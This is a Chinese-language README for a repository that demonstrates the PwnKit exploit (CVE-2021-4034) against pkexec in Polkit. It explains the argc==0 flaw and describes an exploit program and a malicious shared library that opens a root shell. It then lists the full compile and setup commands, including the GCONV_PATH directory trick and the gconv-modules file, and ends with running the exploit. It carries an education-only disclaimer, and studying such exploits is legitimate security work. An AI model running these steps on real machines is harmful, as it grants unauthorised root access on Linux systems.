此仓库包含演示 CVE-2021-4034 漏洞利用的源代码,该漏洞也被称为 PwnKit,发现于 pkexec(Polkit 包的一部分)。该缺陷允许通过使用恶意环境变量 本地提权至 root。
此代码仅供 教育和研究目的 使用。不得在生产系统上或未经明确授权的情况下使用。滥用可能违法,并违反作者的使用条款。
当 pkexec 在没有参数的情况下执行时(即 argc == 0),该漏洞出现。在这种情况下,pkexec 尝试访问 argv[1] 而不检查 argv[0] 是否存在,导致它读取 envp[0]。这使得攻击者能够:
GCONV_PATH。.so 库以 root 身份执行代码。该利用利用此条件加载一个恶意库,以 root 用户身份打开一个 shell。
cve-2021-4034.c:利用的源代码,使用 argv[] = {NULL} 和修改后的环境变量调用 pkexec。pwnkit.c:恶意库的源代码,以 root 身份打开一个 shell。gcc -Wall -o cve-2021-4034 cve-2021-4034.c
gcc -Wall -shared -fPIC -o pwnkit.so pwnkit.c
mkdir GCONV_PATH=.
echo 'module UTF-8// PWNKIT// pwnkit 1' > gconv-modules
cp $(which true) GCONV_PATH=./pwnkit.so:.
./cve-2021-4034